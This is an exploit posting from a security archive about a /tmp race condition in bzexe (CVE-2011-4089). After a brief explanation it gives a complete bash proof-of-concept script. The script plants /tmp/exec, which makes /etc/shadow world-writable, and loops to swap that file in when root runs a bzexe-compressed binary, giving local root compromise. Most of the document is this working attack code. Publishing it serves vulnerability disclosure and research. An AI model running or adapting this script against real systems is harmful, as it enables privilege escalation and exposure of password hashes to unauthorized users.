what you don't know can hurt you

bzexe /tmp Race Condition

bzexe /tmp Race Condition
Posted Nov 6, 2011
Authored by Larry W. Cashdollar

bzexe suffers from a /tmp race condition that allows for local root compromise.

tags | exploit, local, root
advisories | CVE-2011-4089
MD5 | 6c2e36b369f77386982e853497638a5a

bzexe /tmp Race Condition

Change Mirror Download
Hi Packetstorm,

This PoC exploit was developed after a discussion on Full-disclosure
mailing list, where
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=632862
was proved to be exploitable. A user can wait until a binary that was
compressed with bzexe is run by root and execute /tmp/exec. This
could be used
to gain access as any user executing bzexe compressed binary as well.

It's probably not common to have binaries compressed unless your on an
imbedded system.

---- Begin------
#!/bin/bash
#gain root on a system using bzexe to compress binaries
#/tmp/exec will be executed as user executing if we win the race.
#Larry W. Cashdollar http://www.downspout.org (credit vladz with discovery)
#http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=632862
#create /tmp/exec before hand

#echo "Creating malicious script."

echo "#!/bin/sh" > /tmp/exec
echo "chmod 777 /etc/shadow" >> /tmp/exec
chmod 755 /tmp/exec

mkdir /tmp/$1
while true ;
do
if [ -a /tmp/$1/gztmp* ]
then
# echo "Exploting bzexe."
mv /tmp/$1 /tmp/$1.dir
# echo "Copying our evil code into place."
cp /tmp/exec /tmp/$1
fi
done


--- End---

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